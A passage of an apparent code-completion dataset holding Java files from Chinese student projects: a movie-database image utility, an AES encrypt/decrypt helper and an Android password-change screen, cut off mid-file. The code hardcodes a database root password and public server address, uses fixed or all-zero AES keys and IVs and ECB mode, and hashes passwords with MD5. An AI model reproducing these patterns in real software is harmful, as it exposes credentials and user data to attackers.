"<p>骋和梅利两兄弟被强兽人抓走,亚拉冈和佛罗多兵分两路,分别前往末日山脉焚毁至尊魔戒和追赶并救援被抓的霍比特人,佛罗多和山姆一路,亚拉冈,金利,莱戈拉斯一路。佛罗多的食物不多,路线不明,征途迷茫,却发现了穷追不舍的史麦戈,后者渴望拿回他曾经拥有的魔戒。</p><p>佛罗多意识到史麦戈的悲惨遭遇,又得知史麦戈知道前往摩多的路线,自然的让他成为了向导。山姆是佛罗多的后勤管理人员,贴身保镖,迷茫时的开导者,可谓兢兢业业,没有他,佛罗多不可能成功地完成使命。亚拉冈这边呢,遇到了白袍甘道夫,发现两个霍比特人进入了树林,并参加了树人会议,后来成功摧毁了萨鲁曼的基地。甘道夫带领亚拉冈他们拯救了受到控制的落汗国王,并抵御兽人大军的侵略。</p><p>魔戒远征队的传奇故事告一段落,从头到尾,向我们展示了霍比特人的冒险,勇敢,重情重义的优良品格,以及甘道夫的运筹帷幄,亚拉冈的沉稳,男子汉的气概,精灵的能力出众,矮人的任劳任怨。也从一些人的言行中展示了贪婪,残忍的特点。不可否认,人性中好的坏的兼备,就连向来理性的佛罗多也会迷失,我们应该正视这一点。</p><p>忽然想到这一句</p><p><span class=\"fr-img-caption fr-fic fr-dib\" style=\"width: 300px;\"><span class=\"fr-img-wrap\"><img src=\"http://ygg-31501102-bucket.oss-cn-shenzhen.aliyuncs.com/commentary_img/1547908633647.jpg\"><span class=\"fr-inner\">测试图片<br><br></span></span></span></p><p>&quot;或许我们努力的活着不是去让这个世界善良而是不让自己丑恶。&quot;</p>"; } public static String getHtmlPicture(String httpUrl, String filePath , String myFileName) { URL url; //定义URL对象url BufferedInputStream in; //定义输入字节缓冲流对象in FileOutputStream file; //定义文件输出流对象file try { String fileName = null == myFileName?httpUrl.substring(httpUrl.lastIndexOf("/")).replace("/", ""):myFileName; //图片文件名(null时用网络图片原名) url = new URL(httpUrl); //初始化url对象 in = new BufferedInputStream(url.openStream()); //初始化in对象,也就是获得url字节流 file = new FileOutputStream(mkdirsmy(filePath,fileName)); int t; while ((t = in.read()) != -1) { file.write(t); } file.close(); in.close(); return fileName; } catch (MalformedURLException e) { e.printStackTrace(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return null; } public static File mkdirsmy(String dir, String realName) throws IOException{ File file = new File(dir, realName); if (!file.exists()) { if (!file.getParentFile().exists()) { file.getParentFile().mkdirs(); } file.createNewFile(); } return file; } public static String uploadImg(String path){ String url=""; if (!StringUtil.isEmpty(path)){ try { url = new UpImgServiceImpl().updateHead(path); System.out.println("电影图片上传到图片库成功"+url); return url; } catch (ImgException e) { System.out.println("电影图片上传到图片库失败"); } } return null; } }
31501102ygg/2019GraduationProject
src/main/java/com/edu/zucc/ygg/movie/util/Test.java
2,972
//驱动程序名
line_comment
zh-cn
package com.edu.zucc.ygg.movie.util; import com.edu.zucc.ygg.movie.domain.Movie; import com.edu.zucc.ygg.movie.exception.ImgException; import com.edu.zucc.ygg.movie.service.UpImgService; import com.edu.zucc.ygg.movie.service.impl.UpImgServiceImpl; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.nodes.Node; import org.jsoup.nodes.TextNode; import org.jsoup.select.Elements; import org.xmlunit.util.Nodes; import tk.mybatis.mapper.util.StringUtil; import java.io.*; import java.net.MalformedURLException; import java.net.URL; import java.sql.*; import java.util.ArrayList; import java.util.Date; import java.util.List; public class Test { public static void uploadMovieImg(Movie movie){ //声明Connection对象 Connection con; //驱动程序名 String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://47.107.70.187:3306/movie?useUnicode=true&characterEncoding=utf8&useSSL=false"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "Ygg&cc970528"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.创建statement类对象,用来执行SQL语句!! Statement statement = con.createStatement(); //要执行的SQL语句 PreparedStatement ps = con.prepareStatement("insert into movie(" + "name,foreign_name,img_url,release_time," + "sheet_length,make_state,type,director,screenwriter," + "actors,language,introduction)" + "values(?,?,?,?,?,?,?,?,?,?,?,?)"); ps.setString(1,movie.getName()); ps.setString(2,movie.getForeignName()); ps.setString(3,movie.getImgUrl()); ps.setDate(4, new java.sql.Date(movie.getReleaseTime().getTime())); ps.setInt(5,movie.getSheetLength()); ps.setString(6,movie.getMakeState()); ps.setString(7,movie.getType()); ps.setString(8,movie.getDirector()); ps.setString(9,movie.getScreenwriter()); ps.setString(10,movie.getActors()); ps.setString(11,movie.getLanguage()); ps.setString(12,movie.getIntroduction()); ps.execute(); con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } } public static List<Movie> searchMovieAll(){ List<Movie> movieList = new ArrayList<>(); //声明Connection对象 Connection con; //驱动 <SUF> String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://47.107.70.187:3306/movie?useUnicode=true&characterEncoding=utf8&useSSL=false"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "Ygg&cc970528"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.创建statement类对象,用来执行SQL语句!! Statement statement = con.createStatement(); //要执行的SQL语句 PreparedStatement ps = con.prepareStatement("select id,img_url from movie "); ResultSet resultSet = ps.executeQuery(); while(resultSet.next()) { Movie movie = new Movie(); movie.setId(resultSet.getInt("id")); movie.setImgUrl(resultSet.getString("img_url")); movieList.add(movie); } con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } return movieList; } public static void updateMovieImg(Movie movie){ //声明Connection对象 Connection con; //驱动程序名 String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://47.107.70.187:3306/movie?useUnicode=true&characterEncoding=utf8&useSSL=false"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "Ygg&cc970528"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.创建statement类对象,用来执行SQL语句!! Statement statement = con.createStatement(); //要执行的SQL语句 PreparedStatement ps = con.prepareStatement("update movie set img_url = ? where id = ?"); ps.setString(1,movie.getImgUrl()); ps.setInt(2,movie.getId()); ps.execute(); con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } } public static void main(String[] args){ // String img = "https://img1.doubanio.com/view/photo/s_ratio_poster/public/p2516578307.jpg"; // getHtmlPicture(img,filePath,null); // uploadImg("C:/Users/de'l'l/Desktop/testImg/p2233971046.jpg"); // List<Movie> movieList = Test.searchMovieAll(); // for (Movie movie:movieList){ // String filePath = "C:\\Users\\de'l'l\\Desktop\\testImg"; // String oldImgUrl = movie.getImgUrl(); // String fileName = getHtmlPicture(oldImgUrl,filePath,null); // String newImgUrl = uploadImg("C:/Users/de'l'l/Desktop/testImg/"+fileName); // if (newImgUrl!=null){ // movie.setImgUrl(newImgUrl); // updateMovieImg(movie); // } // } String content = "<p>骋和梅利两兄弟被强兽人抓走,亚拉冈和佛罗多兵分两路,分别前往末日山脉焚毁至尊魔戒和追赶并救援被抓的霍比特人,佛罗多和山姆一路,亚拉冈,金利,莱戈拉斯一路。佛罗多的食物不多,路线不明,征途迷茫,却发现了穷追不舍的史麦戈,后者渴望拿回他曾经拥有的魔戒。</p><p>佛罗多意识到史麦戈的悲惨遭遇,又得知史麦戈知道前往摩多的路线,自然的让他成为了向导。山姆是佛罗多的后勤管理人员,贴身保镖,迷茫时的开导者,可谓兢兢业业,没有他,佛罗多不可能成功地完成使命。亚拉冈这边呢,遇到了白袍甘道夫,发现两个霍比特人进入了树林,并参加了树人会议,后来成功摧毁了萨鲁曼的基地。甘道夫带领亚拉冈他们拯救了受到控制的落汗国王,并抵御兽人大军的侵略。</p><p>魔戒远征队的传奇故事告一段落,从头到尾,向我们展示了霍比特人的冒险,勇敢,重情重义的优良品格,以及甘道夫的运筹帷幄,亚拉冈的沉稳,男子汉的气概,精灵的能力出众,矮人的任劳任怨。也从一些人的言行中展示了贪婪,残忍的特点。不可否认,人性中好的坏的兼备,就连向来理性的佛罗多也会迷失,我们应该正视这一点。</p><p>忽然想到这一句</p><p><span class=\"fr-img-caption fr-fic fr-dib\" style=\"width: 300px;\"><span class=\"fr-img-wrap\"><img src=\"http://ygg-31501102-bucket.oss-cn-shenzhen.aliyuncs.com/commentary_img/1547908633647.jpg\"><span class=\"fr-inner\">测试图片<br><br></span></span></span></p><p>&quot;或许我们努力的活着不是去让这个世界善良而是不让自己丑恶。&quot;</p>"; } public static String getHtmlPicture(String httpUrl, String filePath , String myFileName) { URL url; //定义URL对象url BufferedInputStream in; //定义输入字节缓冲流对象in FileOutputStream file; //定义文件输出流对象file try { String fileName = null == myFileName?httpUrl.substring(httpUrl.lastIndexOf("/")).replace("/", ""):myFileName; //图片文件名(null时用网络图片原名) url = new URL(httpUrl); //初始化url对象 in = new BufferedInputStream(url.openStream()); //初始化in对象,也就是获得url字节流 file = new FileOutputStream(mkdirsmy(filePath,fileName)); int t; while ((t = in.read()) != -1) { file.write(t); } file.close(); in.close(); return fileName; } catch (MalformedURLException e) { e.printStackTrace(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return null; } public static File mkdirsmy(String dir, String realName) throws IOException{ File file = new File(dir, realName); if (!file.exists()) { if (!file.getParentFile().exists()) { file.getParentFile().mkdirs(); } file.createNewFile(); } return file; } public static String uploadImg(String path){ String url=""; if (!StringUtil.isEmpty(path)){ try { url = new UpImgServiceImpl().updateHead(path); System.out.println("电影图片上传到图片库成功"+url); return url; } catch (ImgException e) { System.out.println("电影图片上传到图片库失败"); } } return null; } }
0
2,496
4
2,972
4
2,960
4
2,972
4
3,847
8
false
false
false
false
false
true
58553_16
package cn.yumi.daka.utils; import cn.junechiu.junecore.utils.Base64Java; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; public class AESCoder { //南瓜IV public static final byte[] zero_iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; //常用iv public static final byte[] commmon_iv = "0102030405060708".getBytes(); private static final byte[] iv1 = "DJ@#dd'a'asl;dfk".getBytes();//人人加密,人人解密,短视频,定位使用的iv /** * 加密 * 人人,定位城市,定位 */ public static String Encrypt_First(String sSrc, String sKey) throws Exception { return Encrypt(sSrc, sKey, iv1); } /** * 南瓜解密 */ public static String Decrypt_Second(String sSrc, String sKey) throws Exception { return Decrypt(sSrc, sKey, AESCoder.zero_iv); } /** * 解密 * 人人,短视频,定位 */ public static String Decrypt_First(String sSrc, String sKey) throws Exception { return Decrypt(sSrc, sKey, iv1); } /** * 基础加密方法 */ public static String Encrypt(String sSrc, String sKey, byte[] iv) throws Exception { if (sKey == null) { System.out.print("Key为空null"); return null; } // 判断Key是否为16位 if (sKey.length() != 16) { System.out.print("Key长度不是16位"); return null; } byte[] raw = sKey.getBytes(); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");//"算法/模式/补码方式" IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);//使用CBC模式,需要一个向量iv,可增加加密算法的强度 cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivParameterSpec); byte[] encrypted = cipher.doFinal(sSrc.getBytes()); return new String(Base64Java.getEncoder().encode(encrypted));//此处使用BASE64做转码功能,同时能起到2次加密的作用。 } /** * 基础解密方法 */ public static String Decrypt(String sSrc, String sKey, byte[] iv) throws Exception { try { // 判断Key是否正确 if (sKey == null) { System.out.print("Key为空null"); return null; } // 判断Key是否为16位 if (sKey.length() != 16) { System.out.print("Key长度不是16位"); return null; } byte[] raw = sKey.getBytes("UTF8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); IvParameterSpec ivspec = new IvParameterSpec(iv); cipher.init(Cipher.DECRYPT_MODE, skeySpec, ivspec); byte[] encrypted1 = Base64Java.getDecoder().decode(sSrc);//先用base64解密 try { byte[] original = cipher.doFinal(encrypted1); String originalString = new String(original); return originalString; } catch (Exception e) { System.out.println(e.toString()); return null; } } catch (Exception ex) { System.out.println(ex.toString()); return null; } } /** * 测试类方法 * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { /* * 加密用的Key 可以用26个字母和数字组成,最好不要用保留字符,虽然不会错,至于怎么裁决,个人看情况而定 * 此处使用AES-128-CBC加密模式,key需要为16位。 */ String cKey = "8q(yd98^&76d7typ"; // 需要加密的字串 String cSrc = "seasonMark=&area=USK&category=%E5%85%A8%E9%83%A8%E7%B1%BB%E5%9E%8B&page=1&token=&query=lastUpdate&rows=18&t=1527865961514"; System.out.println(cSrc); // 加密 long lStart = System.currentTimeMillis(); String enString = AESCoder.Encrypt_First(cSrc, cKey); System.out.println("加密后的字串是:" + enString); long lUseTime = System.currentTimeMillis() - lStart; System.out.println("加密耗时:" + lUseTime + "毫秒"); // 解密 enString = "VkyH8nZ6bCaRpM64JrjLLFZiXGummrjqwvO8CBEkqVGp0pzBnsbBP2LyzZ35LQ1VRRJodo1R5Pso" + "tj7iN5vi7vW+HZXCHmCReBfQUiV9MZ2iWuVIMpWenpF1Q38kk55BozsUasRIhY94lVNzrcyHC8RW" + "cPJq7Qsj5NarGR589DBXbPFBBKvJboCsMYZV4+DnqKsej/b9ZLkt4+ElL9rgw0D2euWz2EZhFH/N" + "0e528MuBf6P/ZlOuzHzhTe+6yfwcJIkdUNqG/BDCeh84jG/3TBaFW/AZrb4HH2brkTPM1uudzR2l" + "6tvrNcTN9Ra8mRd+rIJ9cm6pHBZgl/li1JOTj5Ppnb/b3BYHRWw86GMAMSfs7pM+TxHoMLIarUL+" + "/IdiL8CHEvP58jbKaaYuAL2qNpKBGGXRuFfVSFccXMk/sw19nJ4vJlOk7rJLO3Pw+4/G9km8RglQ" + "Ti/uDKZ7E9O68+ySTPScJm78GXKbYlDRULQp2h+YvFly1Gpuv12vN4P27uMjBaShMyoKh4NRnuBY" + "EhyGALXMhi6Tjsvg4/Cyh/HMLofoIgf3GEaBcvKe7rrehmWui5X19F6yu96/NRC0skF5hVmevUL5" + "RDHZEsvHBam0A7A4BjUtcf4aA7AHQ99mztf5R3YRCo19TBIWvF1CYUwRAgOnJqNR0ZcBoiAM6nZM" + "/HH64/M/LXgCB5ozk2wgXI9x1IAEUR6aqTqiYL3BfVpIAZ+DxumOm4s8oztpA/BsWrxAxBY80Uh1" + "zsln/OX7lV1AYjF2kwb7fXdsCuIWtbtx/nMFh0PKgI8IUi7G17J1jetML8MuaXIhXM14ARAcWTQJ" + "VmS8zpwHq9juBlvn/KgNXj8Wl2oR8DeJ2t+WHl4="; lStart = System.currentTimeMillis(); String DeString = Decrypt_First(enString, cKey); System.out.println("解密后的字串是:" + DeString); String keyA = "DN7SgBmdeS!WgO@G"; String keyB = "5UD6afzH@0PlUhJC"; String DeStringA = AESCoder.Decrypt_First(enString, keyB); System.out.println("解密后的字串是:A" + DeStringA); enString = "4ObazwsM2RHhA0JlydYJnA=="; String DeStringB = AESCoder.Decrypt_First(enString, keyA); System.out.println("解密后的字串是:B" + DeStringB); lUseTime = System.currentTimeMillis() - lStart; System.out.println("解密耗时:" + lUseTime + "毫秒"); } // 解密m3u8 内容 public static String decrypt2(byte[] sSrc, String sKey) { try { // 判断Key是否正确 if (sKey == null) { System.out.print("Key为空null"); return null; } // 判断Key是否为16位 if (sKey.length() != 16) { System.out.print("Key长度不是16位"); return null; } byte[] raw = sKey.getBytes("UTF8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, skeySpec); // byte[] encrypted1 = Base64Java.getDecoder().decode(sSrc);//先用base64解密 try { byte[] original = cipher.doFinal(sSrc); String originalString = new String(original); return originalString; } catch (Exception e) { System.out.println(e.toString()); return null; } } catch (Exception ex) { System.out.println(ex.toString()); return null; } } }
316011989/DingDian
app/src/main/java/cn/yumi/daka/utils/AESCoder.java
2,401
/* * 加密用的Key 可以用26个字母和数字组成,最好不要用保留字符,虽然不会错,至于怎么裁决,个人看情况而定 * 此处使用AES-128-CBC加密模式,key需要为16位。 */
block_comment
zh-cn
package cn.yumi.daka.utils; import cn.junechiu.junecore.utils.Base64Java; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; public class AESCoder { //南瓜IV public static final byte[] zero_iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; //常用iv public static final byte[] commmon_iv = "0102030405060708".getBytes(); private static final byte[] iv1 = "DJ@#dd'a'asl;dfk".getBytes();//人人加密,人人解密,短视频,定位使用的iv /** * 加密 * 人人,定位城市,定位 */ public static String Encrypt_First(String sSrc, String sKey) throws Exception { return Encrypt(sSrc, sKey, iv1); } /** * 南瓜解密 */ public static String Decrypt_Second(String sSrc, String sKey) throws Exception { return Decrypt(sSrc, sKey, AESCoder.zero_iv); } /** * 解密 * 人人,短视频,定位 */ public static String Decrypt_First(String sSrc, String sKey) throws Exception { return Decrypt(sSrc, sKey, iv1); } /** * 基础加密方法 */ public static String Encrypt(String sSrc, String sKey, byte[] iv) throws Exception { if (sKey == null) { System.out.print("Key为空null"); return null; } // 判断Key是否为16位 if (sKey.length() != 16) { System.out.print("Key长度不是16位"); return null; } byte[] raw = sKey.getBytes(); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");//"算法/模式/补码方式" IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);//使用CBC模式,需要一个向量iv,可增加加密算法的强度 cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivParameterSpec); byte[] encrypted = cipher.doFinal(sSrc.getBytes()); return new String(Base64Java.getEncoder().encode(encrypted));//此处使用BASE64做转码功能,同时能起到2次加密的作用。 } /** * 基础解密方法 */ public static String Decrypt(String sSrc, String sKey, byte[] iv) throws Exception { try { // 判断Key是否正确 if (sKey == null) { System.out.print("Key为空null"); return null; } // 判断Key是否为16位 if (sKey.length() != 16) { System.out.print("Key长度不是16位"); return null; } byte[] raw = sKey.getBytes("UTF8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); IvParameterSpec ivspec = new IvParameterSpec(iv); cipher.init(Cipher.DECRYPT_MODE, skeySpec, ivspec); byte[] encrypted1 = Base64Java.getDecoder().decode(sSrc);//先用base64解密 try { byte[] original = cipher.doFinal(encrypted1); String originalString = new String(original); return originalString; } catch (Exception e) { System.out.println(e.toString()); return null; } } catch (Exception ex) { System.out.println(ex.toString()); return null; } } /** * 测试类方法 * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { /* * 加密用 <SUF>*/ String cKey = "8q(yd98^&76d7typ"; // 需要加密的字串 String cSrc = "seasonMark=&area=USK&category=%E5%85%A8%E9%83%A8%E7%B1%BB%E5%9E%8B&page=1&token=&query=lastUpdate&rows=18&t=1527865961514"; System.out.println(cSrc); // 加密 long lStart = System.currentTimeMillis(); String enString = AESCoder.Encrypt_First(cSrc, cKey); System.out.println("加密后的字串是:" + enString); long lUseTime = System.currentTimeMillis() - lStart; System.out.println("加密耗时:" + lUseTime + "毫秒"); // 解密 enString = "VkyH8nZ6bCaRpM64JrjLLFZiXGummrjqwvO8CBEkqVGp0pzBnsbBP2LyzZ35LQ1VRRJodo1R5Pso" + "tj7iN5vi7vW+HZXCHmCReBfQUiV9MZ2iWuVIMpWenpF1Q38kk55BozsUasRIhY94lVNzrcyHC8RW" + "cPJq7Qsj5NarGR589DBXbPFBBKvJboCsMYZV4+DnqKsej/b9ZLkt4+ElL9rgw0D2euWz2EZhFH/N" + "0e528MuBf6P/ZlOuzHzhTe+6yfwcJIkdUNqG/BDCeh84jG/3TBaFW/AZrb4HH2brkTPM1uudzR2l" + "6tvrNcTN9Ra8mRd+rIJ9cm6pHBZgl/li1JOTj5Ppnb/b3BYHRWw86GMAMSfs7pM+TxHoMLIarUL+" + "/IdiL8CHEvP58jbKaaYuAL2qNpKBGGXRuFfVSFccXMk/sw19nJ4vJlOk7rJLO3Pw+4/G9km8RglQ" + "Ti/uDKZ7E9O68+ySTPScJm78GXKbYlDRULQp2h+YvFly1Gpuv12vN4P27uMjBaShMyoKh4NRnuBY" + "EhyGALXMhi6Tjsvg4/Cyh/HMLofoIgf3GEaBcvKe7rrehmWui5X19F6yu96/NRC0skF5hVmevUL5" + "RDHZEsvHBam0A7A4BjUtcf4aA7AHQ99mztf5R3YRCo19TBIWvF1CYUwRAgOnJqNR0ZcBoiAM6nZM" + "/HH64/M/LXgCB5ozk2wgXI9x1IAEUR6aqTqiYL3BfVpIAZ+DxumOm4s8oztpA/BsWrxAxBY80Uh1" + "zsln/OX7lV1AYjF2kwb7fXdsCuIWtbtx/nMFh0PKgI8IUi7G17J1jetML8MuaXIhXM14ARAcWTQJ" + "VmS8zpwHq9juBlvn/KgNXj8Wl2oR8DeJ2t+WHl4="; lStart = System.currentTimeMillis(); String DeString = Decrypt_First(enString, cKey); System.out.println("解密后的字串是:" + DeString); String keyA = "DN7SgBmdeS!WgO@G"; String keyB = "5UD6afzH@0PlUhJC"; String DeStringA = AESCoder.Decrypt_First(enString, keyB); System.out.println("解密后的字串是:A" + DeStringA); enString = "4ObazwsM2RHhA0JlydYJnA=="; String DeStringB = AESCoder.Decrypt_First(enString, keyA); System.out.println("解密后的字串是:B" + DeStringB); lUseTime = System.currentTimeMillis() - lStart; System.out.println("解密耗时:" + lUseTime + "毫秒"); } // 解密m3u8 内容 public static String decrypt2(byte[] sSrc, String sKey) { try { // 判断Key是否正确 if (sKey == null) { System.out.print("Key为空null"); return null; } // 判断Key是否为16位 if (sKey.length() != 16) { System.out.print("Key长度不是16位"); return null; } byte[] raw = sKey.getBytes("UTF8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, skeySpec); // byte[] encrypted1 = Base64Java.getDecoder().decode(sSrc);//先用base64解密 try { byte[] original = cipher.doFinal(sSrc); String originalString = new String(original); return originalString; } catch (Exception e) { System.out.println(e.toString()); return null; } } catch (Exception ex) { System.out.println(ex.toString()); return null; } } }
0
2,307
65
2,401
66
2,507
64
2,401
66
2,956
102
false
false
false
false
false
true
37846_7
package weidong.com.ys1106.Activity; import android.content.DialogInterface; import android.content.Intent; import android.support.v7.app.AlertDialog; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.text.Editable; import android.text.TextWatcher; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.TextView; import weidong.com.ys1106.MainActivity; import weidong.com.ys1106.R; import weidong.com.ys1106.Utils.AnalysisUtils; import weidong.com.ys1106.Utils.CommonRequest; import weidong.com.ys1106.Utils.CommonResponse; import weidong.com.ys1106.Utils.Constant; import weidong.com.ys1106.Utils.MD5Utils; import weidong.com.ys1106.Utils.MyToast; import weidong.com.ys1106.Utils.ResponseHandle; public class ChangePassActivity extends BasicActivity { private EditText mOldPsw; private EditText mNewPsw; private TextView Wrong_old, Wrong_new; private boolean OLDWrongtype = true; private boolean NEWWrongtype = true; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_change_pass); init(); } private void init() { mOldPsw = findViewById(R.id.et_oldpass); mNewPsw = findViewById(R.id.et_newpass); ImageView mBack = findViewById(R.id.btn_finish); Button mChangePsw = findViewById(R.id.btn_commit); Wrong_old = findViewById(R.id.oldwrong); Wrong_new = findViewById(R.id.newwrong); //设置监听 mOldPsw.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { //格式判断 if (s.length() < 6) { Wrong_old.setText("不能少于6位"); Wrong_old.setVisibility(View.VISIBLE); OLDWrongtype = true; } else { Wrong_old.setVisibility(View.GONE); OLDWrongtype = false; } } @Override public void afterTextChanged(Editable s) { } }); mNewPsw.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { //格式判断 if (s.length() < 6) { Wrong_new.setText("不能少于6位"); Wrong_new.setVisibility(View.VISIBLE); NEWWrongtype = true; } else { Wrong_new.setVisibility(View.GONE); NEWWrongtype = false; } } @Override public void afterTextChanged(Editable s) { } }); //返回键 mBack.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { finish(); } }); //提交更改 mChangePsw.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (PswEmpty()) { MyToast.MyToastShow(ChangePassActivity.this, "请填写完整的信息!"); } else if (NEWWrongtype || OLDWrongtype) { MyToast.MyToastShow(ChangePassActivity.this, "密码格式不正确!"); } else if (SameOldNew()) { MyToast.MyToastShow(ChangePassActivity.this, "新旧密码不能相同"); } else { //change pass DoChange(AnalysisUtils.readloginUserName(ChangePassActivity.this), MD5Utils.ToMD5(mNewPsw.getText().toString().trim()), MD5Utils.ToMD5(mOldPsw.getText().toString().trim())); } } }); } private void DoChange(String name, String psw, String oldpsw) { CommonRequest request = new CommonRequest(); //设置更新用户信息码 request.setRequestCode("6"); //设置需要更新的用户的用户名、旧密码和新密码 request.addRequestParam("account", name); request.addRequestParam("oldpass", oldpsw); request.addRequestParam("newpass", psw); sendHttpPostRequst(Constant.URL_Login, request, new ResponseHandle() { @Override public void success(CommonResponse response) { doSuccess(); } @Override public void failure(String failCode) { doFail(failCode); } }); } private void doFail(String fialCode) { switch (fialCode) { case "10": MyToast.MyToastShow(ChangePassActivity.this, "遗憾,修改失败"); break; case "01": MyToast.MyToastShow(ChangePassActivity.this, "遗憾,旧密码错误"); break; } } private void doSuccess() { AlertDialog.Builder builder = new AlertDialog.Builder(ChangePassActivity.this); builder.setTitle("修改成功"). setMessage("请重新登录"). setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { //清除登录状态 AnalysisUtils.cleanlogin(ChangePassActivity.this); Intent intent = new Intent(ChangePassActivity.this, MainActivity.class); startActivity(intent); finish(); } }).setCancelable(false).show(); } //旧密码和新密码是否相同 private boolean SameOldNew() { return mOldPsw.getText().toString().equals(mNewPsw.getText().toString()); } //是否为空 private boolean PswEmpty() { if (mOldPsw.getText().toString().isEmpty()) { return true; } else return mNewPsw.getText().toString().isEmpty(); } }
321Oscar/YS1106
app/src/main/java/weidong/com/ys1106/Activity/ChangePassActivity.java
1,494
//设置需要更新的用户的用户名、旧密码和新密码
line_comment
zh-cn
package weidong.com.ys1106.Activity; import android.content.DialogInterface; import android.content.Intent; import android.support.v7.app.AlertDialog; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.text.Editable; import android.text.TextWatcher; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.TextView; import weidong.com.ys1106.MainActivity; import weidong.com.ys1106.R; import weidong.com.ys1106.Utils.AnalysisUtils; import weidong.com.ys1106.Utils.CommonRequest; import weidong.com.ys1106.Utils.CommonResponse; import weidong.com.ys1106.Utils.Constant; import weidong.com.ys1106.Utils.MD5Utils; import weidong.com.ys1106.Utils.MyToast; import weidong.com.ys1106.Utils.ResponseHandle; public class ChangePassActivity extends BasicActivity { private EditText mOldPsw; private EditText mNewPsw; private TextView Wrong_old, Wrong_new; private boolean OLDWrongtype = true; private boolean NEWWrongtype = true; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_change_pass); init(); } private void init() { mOldPsw = findViewById(R.id.et_oldpass); mNewPsw = findViewById(R.id.et_newpass); ImageView mBack = findViewById(R.id.btn_finish); Button mChangePsw = findViewById(R.id.btn_commit); Wrong_old = findViewById(R.id.oldwrong); Wrong_new = findViewById(R.id.newwrong); //设置监听 mOldPsw.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { //格式判断 if (s.length() < 6) { Wrong_old.setText("不能少于6位"); Wrong_old.setVisibility(View.VISIBLE); OLDWrongtype = true; } else { Wrong_old.setVisibility(View.GONE); OLDWrongtype = false; } } @Override public 